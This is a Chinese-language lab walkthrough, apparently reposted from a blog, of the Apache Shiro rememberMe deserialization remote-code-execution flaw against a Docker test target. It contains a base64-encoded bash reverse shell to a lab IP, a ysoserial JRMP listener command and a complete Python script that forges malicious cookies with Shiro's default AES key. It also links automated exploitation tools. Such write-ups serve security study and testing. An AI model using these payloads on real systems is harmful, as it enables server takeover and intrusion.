1.漏洞原理
Apache Shiro框架提供了記住密碼的功能(RememberMe),用戶登錄成功后會生成經過加密并編碼的cookie,在服務端對rememberMe的cookie值,先base64解碼然后AES解密再反序列化,就導致了反序列化RCE漏洞,
那么,Payload產生的程序:命令=》序列化=》AES加密=》base64編碼=》RememberMe Cookie值
在整個漏洞利用程序中,比較重要的是AES加密的密鑰,如果沒有修改默認的密鑰那么久很容易就知道密鑰,payload構造起來也是十分簡單,
1.1影響版本:Apache Shiro < 1.2.4
1.2特征判斷:回傳包中包含rememberMe=deleteMe欄位
2.漏洞發現
2.1環境搭建
獲取docker鏡像
docker pull medicean/vulapps:s_shiro_1
啟動docker鏡像:
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1
2.2漏洞檢測
這里使用一個shiro_exploit工具,檢查是否存在默認的key
github專案地址:https://github.com/insightglacier/Shiro_exploit
使用方法:python2 shiro_exploit.py –u 目標機地址及埠


會不停的匹配key值,共22種,通過對靶場的測驗我們發現使用紅框里的AES密鑰,有了key之后有兩種利用方式,
3.漏洞利用
3.1利用方式一:反彈shell
3.1.1制作反彈shell代碼
監聽本地埠
nc –lvp 1234
Java Runtime配合bash編碼,在線編碼地址:http://www.jackson-t.ca/runtime-exec-payloads.html
得到編碼后的結果: bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxLjEyOS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}

3.1.2通過ysoserial中JRMP監聽模塊,監聽6666埠并執行反彈shell命令,
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxLjEyOS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}"
3.1.3使用shiro.py生成payload
python shiro.py 192.168.21.129:6666
shiro.py代碼如下:
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())

3.1.4構造資料包,偽造cookie,發送payload
輸入任意賬號密碼,記住選擇rememberme選項

將之前生成的payload加入到cookie中發送

nc監聽埠,成功反彈

Java監聽介面,查看服務器鏈接情況

一鍵化自動化工具:https://github.com/feihong-cs/ShiroExploit
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/75735.html
標籤:其他
下一篇:can通訊
